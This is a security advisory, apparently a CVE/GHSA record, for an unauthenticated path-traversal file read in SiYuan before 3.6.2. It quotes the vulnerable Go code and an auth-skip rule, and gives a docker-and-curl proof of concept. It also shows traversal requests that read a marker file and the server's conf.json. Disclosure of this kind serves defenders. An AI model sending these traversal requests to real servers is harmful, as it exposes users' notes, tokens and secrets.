SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving…
GitHub_M·CWE-22·Published 2026-03-20
SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.
SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.
Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal in github.com/siyuan-note/siyuan/kernel
## Summary The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.** Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. ## Details Vulnerable Code Location **File: kernel/server/serve.go** ``` sh siyuan.GET("/appearance/*filepath", func(c *gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ) ... c.File(filePath) }) ``` **Technical Root Cause** The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments. **Key issues:** **1. Unsanitized User Input** The path component extracted from the request is not validated or normalized to prevent traversal. ``` sh strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ``` This preserves sequences such as: ``` sh ../ ..\ (Windows) ``` **2. Unsafe Path Joining** **_filepath.Join()_** does not enforce directory confinement. This escapes the intended directory. **3. Direct File Serving** The resolved path is served without verification: ``` sh c.File(filePath) ``` ### Authentication Bypass (Unauthenticated Access) Authentication middleware explicitly skips /appearance/ requests. **File: session.go** ``` sh if strings.HasPrefix(c.Request.RequestURI, "/appearance/") || strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") || strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") { c.Next() return } ``` This allows attackers to access the vulnerable endpoint without a session or token. ### Exploitation Scenario A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process. Example request: ``` GET /appearance/../../data/conf.json HTTP/1.1 Host: target ``` Because authentication is bypassed, the attack requires no credentials. ## PoC **Step 1 — Create marker file** ``` mkdir -p ./workspace/data echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt ``` **Step 2 — Run SiYuan container** ``` docker run -d \ -p 6806:6806 \ -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace ``` **Step 3 — Confirm service works** Open in browser: ``` sh http://127.0.0.1:6806 ``` ### Exploit PoC **Method A — using CURL command** Use --path-as-is so curl does NOT normalize ../. ``` sh curl -v --path-as-is \ "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt" ``` **Output** ``` sh HTTP/1.1 200 OK POC_EXPLOITED ``` **Method B — Using Browser** ``` sh http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt ``` If **method B** is not working, use **method A**, which is CURL command to do the exploit ### Impact An unauthenticated attacker can read arbitrary files accessible to the server process, including: - Workspace configuration files - User notes and stored data - API tokens and secrets - Local system files (depending on permissions) This may lead to: - Sensitive information disclosure - Credential leakage - Further compromise through exposed secrets
SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.2, el kernel de Siyuan expone un endpoint de servicio de archivos no autenticado bajo `/appearance/*filepath.` Debido a una sanitización de ruta inadecuada, los atacantes pueden realizar salto de directorio y leer archivos arbitrarios accesibles al proceso del servidor. Las comprobaciones de autenticación excluyen explícitamente este endpoint, permitiendo la explotación sin credenciales válidas. La versión 3.6.2 corrige este problema.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 3.1 | Secondary | NVD | 7.5 | 3.9 | 3.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 3.1 | Secondary | GHSA | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |